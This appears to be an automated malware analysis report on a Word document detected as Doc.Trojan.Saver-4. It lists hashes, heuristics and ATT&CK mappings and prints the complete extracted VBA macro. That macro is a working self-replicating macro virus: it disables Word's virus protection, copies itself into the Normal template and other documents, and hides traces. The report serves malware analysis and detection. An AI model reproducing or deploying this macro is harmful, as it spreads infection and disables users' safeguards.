Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fe444ad77420e836…

MALICIOUS

Office (OLE)

29.0 KB Created: 2003-02-26 21:51:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: d2a11e0f8a0f135b7888bbdcb635a0e7 SHA-1: cd06e27ed7150bfb3147c61842d18f09024cc9fe SHA-256: fe444ad77420e8366be877f7a8fb9a1c3fbf0dfcf9f5575634b93a436e3ac140
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing VBA macros, specifically triggering AutoOpen and Auto_Close heuristics. The embedded VBA script, named 'macros.bas', attempts to copy itself and a file named 'saver.dll' to the application's path and a 'Doc_Copy' directory. This behavior suggests an attempt to establish persistence or deploy a secondary payload, aligning with common malware dropper functionalities.

Heuristics 5

  • ClamAV: Doc.Trojan.Saver-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Saver-4
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2233 bytes
SHA-256: fd91f9231f9398dab61f334b406a1b5e8095778b93bb4755dbdc9e00fbb587b0
Detection
ClamAV: Doc.Trojan.Saver-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
' ModuleName = "Saver"

Sub Mac(dr)
    If (Dir(dr, vbDirectory) = "") Then MkDir (dr)
End Sub

Sub Setup()
    Word.Options.VirusProtection = False
    On Error Resume Next
    If Word.ActiveDocument.name = "saver.dll" Then MsgBox "Saver!"
    zz = Word.ActiveDocument.FullName
  
    Application.OrganizerCopy Source:=zz, _
      Destination:=Normal.ThisDocument.FullName, name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
      
    Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _
      Destination:=zz, name:="Saver", _
      Object:=wdOrganizerObjectProjectItems

    yy = Word.Application.Path + "\saver.dll"
    If (Dir(yy) = "") Then
      Application.Documents.Add
      Application.Documents(1).SaveAs (yy)
      Application.Documents(1).Close SaveChanges:=False
      Word.RecentFiles.Item(1).Delete
    End If
 
    Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _
      Destination:=yy, name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=zz, _
      Destination:=yy, name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=yy, _
      Destination:=zz, name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
End Sub

Sub AutoNew()
    dr = Word.Application.Path + "\Doc_Copy"
    Mac (dr)
End Sub

Sub AutoOpen()
    Setup
    dr = Word.Application.Path + "\Doc_Copy"
    Mac (dr)
    If Word.ActiveDocument.name = "saver.dll" Then Word.ActiveDocument.Close
End Sub

Sub AutoClose()
    dr = Word.Application.Path + "\Doc_Copy"
    Pat = dr + "\" + ActiveDocument.name
    If Word.ActiveDocument.name <> "saver.dll" Then
      On Error Resume Next
      ActiveDocument.Saved = False
      ActiveDocument.Save
      ActiveDocument.SaveAs (Pat)
    End If
    Word.RecentFiles.Item(1).Delete
End Sub